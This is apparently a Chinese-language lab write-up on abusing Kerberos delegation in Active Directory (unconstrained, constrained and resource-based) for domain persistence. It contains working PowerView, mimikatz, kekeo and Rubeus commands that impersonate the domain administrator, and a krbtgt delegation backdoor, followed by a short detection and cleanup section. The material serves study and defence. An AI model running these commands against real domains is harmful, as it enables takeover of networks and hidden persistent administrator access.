0%

域权限维持之域委派

0x00 前言

参考资料给出自己关于域内委派的一些认识。

委派就是将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。将我的权限给服务账户

域内委派历史发展为:非约束委派 -> 约束委派 -> 基于资源的约束委派,在着稳固防守的方向去发展。测试环境一如既往,此处不再赘述

0x01 简介:

1.域委派将域内用户A的权限委派给服务账户B,使得服务账户B能以域用户A权限开展域内活动,获得相关域内服务资源权限。主要涉及windows的权限控制。假设用户A利用自己的身份可以访问到一个网站B,请求网站的资源C,但是网站B上边本身没有资源C,那么网站B就需要用用户A的身份去访问另外一台机器去获取资源C再给到用户

2.SPN(ServicePrincipal Names):服务主体名称,是服务实例(如HTTP、SMB、MySQL等服务)的唯一标识符,相当于每个服务(人)的身份证。每个使用Kerberos的服务都需要一个SPN。

  • 一个用户账户可以有多个SPN,一个SPN对应某用户的一个服务
  • SPN扫描可识别内网中正在运行重要服务的主机。
  • SPN分为两种:
    • 一种是注册在AD的机器帐户(Computers)下:当服务权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
    • 一种是注册在**域用户帐户(Users)**下:当服务权限为域用户
  • 默认普通机器账号有权注册SPN,普通域用户账号无权注册SPN

3.服务账号:服务包括http mysql。服务器运行服务时所用的账号,将服务运行起来并加入域。例如 MSSQL Server 在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。

0x02 非约束委派

将域内用户A的权限委派给服务账户B,使得服务账户B能以域用户A权限随时访问任何服务

原理:

当某主机访问配置有非约束性委派主机时,会将自己的可转发TGT发送到配置了非约束性委派的主机上。一旦域管账号访问了配置了非约束性委派的主机,就会把自己的TGT与此TGT中存储的session key留下,可被攻击者利用生成黄金票据

流程如下:

前四步为用户与KDC之间的身份认证和票据授权服务,接下来是牵扯委派的

  1. 用户向KDC请求可转发TGT,记为TGT1
  2. KDC返回TGT1
  3. 用户通过TGT1向KDC申请访问服务1的ST
  4. KDC返回ST
  5. 用户通过TGT1向KDC请求转发TGT2
  6. KDC返回TGT2,此时用户有ST、TGT1和TGT2
  7. 用户发送ST、TGT1、TGT2给服务1
  8. 服务1通过用户的TGT2请求KDC以用户名义请求服务2的ST
  9. KDC返回给服务1服务2的ST
  10. 服务1以用户名义向服务2发出请求
  11. 服务2响应服务1的请求
  12. 服务1响应用户第7步的请求

此流程有个问题:TGT2是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。

环境搭建:

设置域账号为服务账号,因为只有服务账号才可以开启 S4U 的功能。再将test账户的委派属性设置为非约束委派模式。

发现可利用账户:

在域控主机上用powersploit查询非约束委派的主机和账户:

1
2
3
Import-Module .\powerview.ps1
Get-NetComputer -Unconstrained -Domain wlaq.com
Get-NetUser -Unconstrained -Domain wlaq.com

确保DC的administrator访问win10的winrm:

注:server2008之后,所有的server主机默认开启winrm

在win10上登录用户test,启动winrm服务。远程powershell管理必须启用winrm服务

1
2
3
winrm e winrm/config/listener
winrm quickconfig
Enable-PSRemoting -Force

DC以administrator身份登录WIN-10。

1
Enter-PSSession -ComputerName WIN-10

然后在win10上登陆本地管理员账户swanq抓取TGT并导入本地

1
2
mimikatz "privilege::debug" "Kerberos::list /export" exit //导出票据
mimikatz "privilege::debug" "kerberos::ptt <票据名称>" "kerberos::list" exit //导入票据

访问DC的共享目录成功

由于域控以winrm登录过WIN-10,winrm服务拥有域控用户的TGT,即可以

0x03 传统的约束委派

传统的约束委派是“正向的”,通过修改服务A属性msDS-AllowedToDelegateTo,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向DC请求访问服务B以获得服务票据(ST)来使用服务B的资源。微软在 windows server 2003 中引入了约束委派,引入了 S4U协议对 Kerberos 协议进行拓展, S4U 支持两个子协议:

  • Service for User to Self (S4U2Self)
  • Service for User to Proxy (S4U2proxy)

这两个扩展都允许服务代表用户向 KDC 请求票证。S4U2self:代表以用户的名义请求用户需要服务的 ST;S4U2proxy以用户的名义请求其它服务的 ST,约束委派就是限制了 S4U2proxy 扩展的范围。

原理:

利用约束委派就是想办法去获取可转发的票据,此时方法就是拿下配置了约束性委派的主机和它的hash,就可以劫持此主机的kerberos请求过程,获得任意用户权限的票据

流程如下:

前提:用户已向KDC申请到了专属于访问服务1的TGT

  1. 用户向服务1发出请求
  2. 服务1通过S4U2self扩展模拟用户向KDC请求ST
  3. KDC返回给服务1用于验证服务1的ST
  4. 服务1响应用户请求
  5. 用户此时想通过服务1访问服务2,即委派服务1访问服务2.前提是服务1有TGT和从用户到服务1的可转发ST1
  6. 服务1通过S4U2Proxy扩展请求KDC返回一个用于验证服务2的ST,即ST2
  7. KDC在验证PAC的数字签名后,如果没有失败(成功或没有PAC),将返回ST2给服务1
  8. 服务1代表用户使用ST2请求服务2,服务2判断此用户是否经过KDC验证
  9. 服务2响应服务1的请求
  10. 服务1响应用户请求

在约束委派的情况下,服务用户只能获取某个用户或者主机的ST,只能用模拟用户访问特定的服务,无法获取用户的 TGT

环境搭建:

查询约束委派主机和用户:

1
2
3
Import-Module .\powerview.ps1
Get-DomainComputer -TrustedToAuth -Domain wlaq.com
Get-DomainUser -TrustedToAuth -Domain wlaq.com

发现约束委派用户,添加服务时,并没有cifs服务,windows server 2019并未安装cifs选项。

安装cifs服务,并配置好该用户到域控的cifs协议的约束性委派

提取非约束委派账户test的哈希

用rubeus请求TGT:

模拟ST:

1
Rubeus.exe s4u /ticket:code /impersonateuser:administrator /domain:wlaq.com /msdsspn:cifs/WIN-2019-DC.wlaq.com /dc:WIN-2019-DC.wlaq.com /ptt

或者用kekeo请求TGT,方便后续申请可转发票据ST

然后利用此TGT去申请向TGS申请ST票据:

1
2
//利用这个票据通过伪造S4U请求以administrator身份访问WIN-2019-DC的ST
tgs::s4u /tgt:TGT_test@WLAQ.COM_krbtgt~wlaq.com@WLAQ.COM.kirbi /user:administrator@wlaq.com /service:cifs/WIN-2019-DC.wlaq.com

此时生成对应的AS票据,票据中forwardable代表票据是可转发的

记得将kekeo生成的票据贴到mimikatz所在目录下,通过mimikatz导入生成的可转发票据

1
kerberos::ptt TGS_administrator@wlaq.com@WLAQ.COM_cifs~WIN-2019-DC.wlaq.com@WLAQ.COM.kirbi

此时访问域控共享目录成功:

0x03 基于资源的约束委派

要配置受约束的委派,必须拥有SeEnableDelegation特权,但该特权通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012 引入了基于资源的约束委派(RBCD)。受限委派的机制变成了基于资源的约束委派。基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfOtherIdentity,添加服务A的SPN,让服务A模拟用户访问B资源。

  • 配置在后端目标服务或资源上(例如后端的 CIFS 服务)
  • 允许资源配置受信任的帐户,然后委派给他们。

两者作用相同,但方向相反:

原理:

利用msDS-AllowedToActOnBehalfOfOtherIdentity属性,可在AD基础设施中隐藏特权访问权限。若在krbtgt账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性中设置某用户账户的SID,此账户就可以从AS处拿到有效TGT,也就意味着拿到了黄金票据。

环境搭建:

任何具有计算机帐户写权限的用户都可以设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。此处假设攻击者已经获得写权限,要利用此属性来实现目标的持久化访问。

设置test的写权限:

test作为服务A,在DC上配置test到krbtgt的基于资源的约束委派

1
2
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

获取test的NTLM hash:

使用Rubeus进行基于资源的约束性委派攻击

1
./Rubeus.exe s4u /user:test /rc4:a3101e2adce41a4d7b62dcbd25911391 /domain:wlaq.com /msdsspn:cifs/WIN-2019-DC.wlaq.com /impersonateuser:administrator /ptt

查看共享目录:

检测与防御:

约束性委派:

  • 事件5136记录cifs服务属性更改

  • DC上4769日志请求的服务票据为0x17为RC4-HMAC加密,kerberos目前使用AES加密,所以判断可能是攻击行为

基于资源的约束性委派:

  • 事件5136记录krbtgt账户msDS-AllowedToActOnBehalfOfOtherIdentity属性变更
  • DC上4769日志不安全的RC4加密
  • 事件4738可以检测出哪些用户被设置为密码永不过期
  • 4688可以检测可疑添加修改spn的setspn进程
  • sysmon事件1同样检测进程setspn

清除约束性委派可直接对相应用户清除,约束性委派需设置SPN,且要求目标账户密码用不更新,因此可以检查当前环境下是否存在带有SPN属性的异常账户,并且将所有高权限管理员账户设置为账户敏感且无法委派。检测密码用不更新且有SPN的账户:

1
Get-ADUser -Filter * -Properties ServicePrincipalName, PasswordNeverExpires | ? {($.ServicePrincipalName -ne “”) -and ($.PasswordNeverExpires -eq $true)}

清除基于资源的约束委派可以使用powershell脚本,Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount $null

参考:

  1. https://www.cnblogs.com/Yang34/p/14264356.html
  2. 非约束委派:https://eviladan0s.github.io/2020/04/14/kerberos-delegation/#%E5%88%A9%E7%94%A8
  3. https://www.cnblogs.com/Yang34/p/14264356.html
  4. http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/
  5. SPN:https://www.163.com/dy/article/FC4RFSLI05372NE2.html
  6. https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting
  7. https://www.c0bra.xyz/2020/02/19/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos%E5%A7%94%E6%B4%BE%E5%AD%A6%E4%B9%A0/
  8. powershell或cmd执行命令,先去系统变量的路径当中按序查找,找到即执行。若提示找不到,自然需要将相关路径加入系统变量。
  9. 远程powershell管理除了有mstsc之外,还可以用winrm:https://www.cnblogs.com/endv/p/6540584.html
  10. winodws大小写不敏感,Linux不同
  11. UAC:即将申请更高权限的操作(windows表现为界面弹窗),所以才会有bypass uac
  12. ACL:访问控制列表,类似于防火墙的应用上开访问通道
1
2
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/WIN-2019-DC.wlaq.com") }

你想在文章末尾对读者说的话